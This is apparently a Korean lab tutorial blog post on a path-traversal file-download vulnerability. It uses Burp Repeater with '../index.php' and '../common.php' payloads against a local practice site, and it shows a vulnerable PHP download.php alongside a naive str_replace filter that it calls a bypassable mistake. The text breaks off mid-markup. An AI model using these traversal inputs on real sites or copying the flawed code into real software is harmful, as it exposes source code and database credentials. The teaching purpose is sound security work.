&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1053&quot; data-origin-height=&quot;691&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UpsFi/btsMbZgrhWE/bxzUzJBwoyqi1HxxW38P51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UpsFi/btsMbZgrhWE/bxzUzJBwoyqi1HxxW38P51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UpsFi/btsMbZgrhWE/bxzUzJBwoyqi1HxxW38P51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUpsFi%2FbtsMbZgrhWE%2FbxzUzJBwoyqi1HxxW38P51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1053&quot; height=&quot;691&quot; data-origin-width=&quot;1053&quot; data-origin-height=&quot;691&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리피터로 요청을 보낸 후 해당 페이지에 파일 다운로드 취약점이 있는지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무작정 ../ 를 삽입하는것이 아닌, 입력값에 대한 검증이 있는지 먼저 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/ 는 경로를 구분할 수 있는 구분 기호가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/ 를 먼저 입력 후 / 가 통하는지 요청을 보내본다. ( ctrl + space 또는 상단 좌측의 send 버튼 클릭 )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;582&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RuwPK/btsMcdevnvz/u6A12LON7lzJWTDaVqlzn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RuwPK/btsMcdevnvz/u6A12LON7lzJWTDaVqlzn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RuwPK/btsMcdevnvz/u6A12LON7lzJWTDaVqlzn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRuwPK%2FbtsMcdevnvz%2Fu6A12LON7lzJWTDaVqlzn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1290&quot; height=&quot;582&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;582&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;text_file.txt 내 문자열이 test 인 것이 확인된다. 이를 통해 성공적으로 다운로드 되는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 \ 역슬래시를 입력하여 통하는지 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1288&quot; data-origin-height=&quot;519&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpiN3k/btsMbqTewum/6sEkGRgpyaptjxfcKdqcH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpiN3k/btsMbqTewum/6sEkGRgpyaptjxfcKdqcH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpiN3k/btsMbqTewum/6sEkGRgpyaptjxfcKdqcH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpiN3k%2FbtsMbqTewum%2F6sEkGRgpyaptjxfcKdqcH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1288&quot; height=&quot;519&quot; data-origin-width=&quot;1288&quot; data-origin-height=&quot;519&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\ 역슬래시를 입력해도 파일이 다운로드 되는 것을 보아 웹 서버가 윈도우라는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;./ 에 대한 입력감 검증 절차가 있는지 확인해보기 위해 ./ 를 입력하여 요청을 보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;./ 는 현재 경로를 의미한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1288&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b93eO6/btsMb0TTHhy/MxXgBmQ24VZ44huXkkNNnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b93eO6/btsMb0TTHhy/MxXgBmQ24VZ44huXkkNNnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b93eO6/btsMb0TTHhy/MxXgBmQ24VZ44huXkkNNnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb93eO6%2FbtsMb0TTHhy%2FMxXgBmQ24VZ44huXkkNNnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1288&quot; height=&quot;512&quot; data-origin-width=&quot;1288&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;./ 입력을 해도 다운로드가 되는 것을 보아 ./ 에 대한 입력값 검증 절차는 없는 것으로 판단된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;./ 가 삭제되는지 확인하기위해 파일명 중간에 넣어본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1285&quot; data-origin-height=&quot;536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dI1WQB/btsMbCsqAAV/P8oAdfun9y2LvJ0aiogQJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dI1WQB/btsMbCsqAAV/P8oAdfun9y2LvJ0aiogQJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dI1WQB/btsMbCsqAAV/P8oAdfun9y2LvJ0aiogQJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdI1WQB%2FbtsMbCsqAAV%2FP8oAdfun9y2LvJ0aiogQJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1285&quot; height=&quot;536&quot; data-origin-width=&quot;1285&quot; data-origin-height=&quot;536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;./ 가 삭제되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../ 를 입력하여 요청을 보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../ 는 상위 디렉터리로 이동하는 경로 이동 문자이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1285&quot; data-origin-height=&quot;525&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G6Jcl/btsMbVSJ4Jx/S1BzzuTQHjaqeVPefdmuEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G6Jcl/btsMbVSJ4Jx/S1BzzuTQHjaqeVPefdmuEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G6Jcl/btsMbVSJ4Jx/S1BzzuTQHjaqeVPefdmuEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG6Jcl%2FbtsMbVSJ4Jx%2FS1BzzuTQHjaqeVPefdmuEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1285&quot; height=&quot;525&quot; data-origin-width=&quot;1285&quot; data-origin-height=&quot;525&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../ 를 입력하여 요청을 보내니 파일 다운로드가 되지 않았다. (txt 파일 내 test 문자열 확인되지 않음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;./ 를 입력하면 파일 다운로드가 되지만 ../ 를 입력하면 파일 다운로드가 되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 웹 사이트는 소규모 웹사이트로 upload 폴더 1개에 test_file.txt 파일이 업로드되어 있다. (업로드 경로 1개)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 정상적으로 파일을 다운로드 받는 경로는 upload 폴더 외 다른 폴더는 없다고 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../ 를 입력하게 되면 upload 폴더가 아닌 더 상위 폴더로 올라가게 되는데, 해당 폴더 내에는 test_file.txt 파일이 존재하지 않으므로 파일이 다운로드 되지 않았던 것이다. 만약 해당 상위 폴더 내 test_file.txt 파일이 존재한다면 다운로드가 가능할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 중요한 것은 ./test_file.txt 파일과 ../test_file.txt 파일은 엄연히 다른 파일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(upload/test_file.txt 와 상위 폴더/upload/test_file.txt 차이)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상위 폴더에 올라갔다는 가정하에 특정 파일을 다운로드 받아야하는데 이때 주로 시도해보는 것은 index.php 파일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 디렉터리에는 보통 index.php 파일이 존재하므로 상위 디렉터리가 웹 디렉터리임을 가정하고 index.php 파일 다운로드를 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../index.php 를 입력하여 send 요청을 보낸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1884&quot; data-origin-height=&quot;854&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4e5E6/btsMcPD7gqV/nyvt3smnFgKkbmpY5xzbKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4e5E6/btsMcPD7gqV/nyvt3smnFgKkbmpY5xzbKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4e5E6/btsMcPD7gqV/nyvt3smnFgKkbmpY5xzbKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4e5E6%2FbtsMcPD7gqV%2Fnyvt3smnFgKkbmpY5xzbKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1884&quot; height=&quot;854&quot; data-origin-width=&quot;1884&quot; data-origin-height=&quot;854&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답값을 통해 index.php 파일을 성공적으로 다운로드 받는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 업로드 디렉터리(upload)의 상위 디렉터리가 웹 디렉터리임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드 관점에서는 소스코드를 다운로드 받을 수 있고, 업로드 관점에서는 웹쉘 업로드 여부를 파악할 수 있기 때문에 웹 디렉터리를 파악하는 것이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 아키텍처 구조상 클라이언트 - 서버로 이루어져 있는데, 클라이언트에서는 서버 사이드 스크립트를 확인할 수 없지만 파일 다운로드 취약점을 통해서 index.php 를 다운로드 받아 서버 사이드 스크립트로 작성된 코드를 확인할 수 있게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;common.php 도 다운로드를 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../common.php 를 입력하여 send 요청을 보낸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1887&quot; data-origin-height=&quot;852&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjjdaO/btsMczhc5G0/OvUPwZhNvxtvlaoTnKgP20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjjdaO/btsMczhc5G0/OvUPwZhNvxtvlaoTnKgP20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjjdaO/btsMczhc5G0/OvUPwZhNvxtvlaoTnKgP20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjjdaO%2FbtsMczhc5G0%2FOvUPwZhNvxtvlaoTnKgP20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1887&quot; height=&quot;852&quot; data-origin-width=&quot;1887&quot; data-origin-height=&quot;852&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 common.php 도 정상적으로 다운로드되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 데이터베이스 접속 정보, ID와 PW, DB 정보도 획득할 수 있게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 파일 다운로드 취약점이 존재하는 경우에는 공격자는 어플리케이션에 있는 코드를 모두 확인할 수 있어 추가 취약점을 찾기에도 용이하다. (소스코드 기반 진단 가능)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 파일 업로드 취약점과 연계가 되기 때문에 파일 업로드할때 어떤 로직을 통해 업로드 되는지 확인이 가능하여 웹쉘을 업로드 할 수 있게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실무에서 취약점 진단 시 파일 다운로드 취약점이 존재하는 경우 파급력이 굉장히 크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(서버 내 여러 설정 파일 및 소스코드 확인이 가능)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;common.php 파일을 확인해보니 웹 서버의 업로드 경로를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;upload 폴더가 해당 웹 사이트의 파일 업로드 경로라는 것을 알 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1709&quot; data-origin-height=&quot;853&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nzXwf/btsMcId4VCN/ecw08IdCXh4rWVCzZvNHyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nzXwf/btsMcId4VCN/ecw08IdCXh4rWVCzZvNHyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nzXwf/btsMcId4VCN/ecw08IdCXh4rWVCzZvNHyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnzXwf%2FbtsMcId4VCN%2Fecw08IdCXh4rWVCzZvNHyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1709&quot; height=&quot;853&quot; data-origin-width=&quot;1709&quot; data-origin-height=&quot;853&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버의 업로드 디렉터리를 확인했으니 ../upload/test_file.txt 를 입력하여 파일 다운로드가 되는지 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1886&quot; data-origin-height=&quot;511&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LyeQM/btsMa5hyNMs/VoHB7MkZ7gWUcZQjZMdFu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LyeQM/btsMa5hyNMs/VoHB7MkZ7gWUcZQjZMdFu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LyeQM/btsMa5hyNMs/VoHB7MkZ7gWUcZQjZMdFu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLyeQM%2FbtsMa5hyNMs%2FVoHB7MkZ7gWUcZQjZMdFu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1886&quot; height=&quot;511&quot; data-origin-width=&quot;1886&quot; data-origin-height=&quot;511&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;text_file.txt 파일 다운로드가 확인되며, 파일 내 test 문자열이 확인되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 upload 폴더가 웹 서버의 업로드 디렉터리임을 확실히 알 수 있게되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습7-2 개발자분들이 자주 실수하는 잘못된 대응 방안 적용&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) ../ 제거&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) ./ , ../ 제거&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 윈도우 환경에서 / 문자 제거&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4) 윈도우 환경에서 / 문자 필터링, ./ ../&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../ 문자열 입력값 검증에 대한 치환(제거)에 대한 실수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ../ 문자열을 제거하게되면 우회가 발생할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에러 발생시켜서 경고창 출력 및 로직 중단&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 이상적인 대응 방안&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 다운로드 기능이 있는 코드 download.php 를 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위치: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;pre id=&quot;code_1739171193169&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    include_once(&quot;./common.php&quot;);
    header(&quot;Content-Type: text/html; charset=UTF-8&quot;);

    $file = $_GET[&quot;file&quot;];
    
    if(empty($file)) {
        echo &quot;&amp;lt;script&amp;gt;alert('값이 입력되지 않았습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }


    if(empty($file)) {
        echo &quot;&amp;lt;script&amp;gt;alert('파일 다운로드에 실패하였습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }

    $filepath = &quot;{$upload_path}/{$file}&quot;;

    header(&quot;Content-Type: application/octet-stream&quot;);
    header(&quot;Content-Disposition: attachment; filename={$file}&quot;);

    @readfile($filepath);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 파일명을 받을 때, original file name 과 real file name 2개를 받도록 로직을 설계 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;original file 은 header 에 위치하게 되고, real file 은 실제 서버에 업로드된 파일이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 실제 경로조작을 할 때는 real file 을 건드려야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제&amp;nbsp; ../ 와 ..\ 문자열에 대한 치환(제거) 코드를 추가해본다.&lt;/p&gt;
&lt;pre id=&quot;code_1739171438608&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    include_once(&quot;./common.php&quot;);
    header(&quot;Content-Type: text/html; charset=UTF-8&quot;);

    $file = $_GET[&quot;file&quot;];
    
    if(empty($file)) {
        echo &quot;&amp;lt;script&amp;gt;alert('값이 입력되지 않았습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }

    $file = str_replace(&quot;../&quot;, &quot;&quot;, $file);
    $file = str_replace(&quot;..\\&quot;, &quot;&quot;, $file);

    if(empty($file)) {
        echo &quot;&amp;lt;script&amp;gt;alert('파일 다운로드에 실패하였습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }

    $filepath = &quot;{$upload_path}/{$file}&quot;;

    header(&quot;Content-Type: application/octet-stream&quot;);
    header(&quot;Content-Disposition: attachment; filename={$file}&quot;);

    @readfile($filepath);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insecure_website 에서 파일 다운로드를 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 Intercept On 후 text_file.txt 파일을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfmNXD/btsMcGVB3dj/XWR4xcDSvycMOrvtBCnuVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfmNXD/btsMcGVB3dj/XWR4xcDSvycMOrvtBCnuVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfmNXD/btsMcGVB3dj/XWR4xcDSvycMOrvtBCnuVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfmNXD%2FbtsMcGVB3dj%2FXWR4xcDSvycMOrvtBCnuVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;650&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 패킷이 잡히면 리피터로 전송한다. ( Ctrl + R )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Send 를 클릭 또는 Ctrl + space 를 입력하여 test_file.txt 다운로드에 대한 요청을 전송한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1574&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbIvzu/btsMdq5O8fE/kHpKF2HZb7n4yYXNXK1fzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbIvzu/btsMdq5O8fE/kHpKF2HZb7n4yYXNXK1fzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbIvzu/btsMdq5O8fE/kHpKF2HZb7n4yYXNXK1fzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbIvzu%2FbtsMdq5O8fE%2FkHpKF2HZb7n4yYXNXK1fzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; 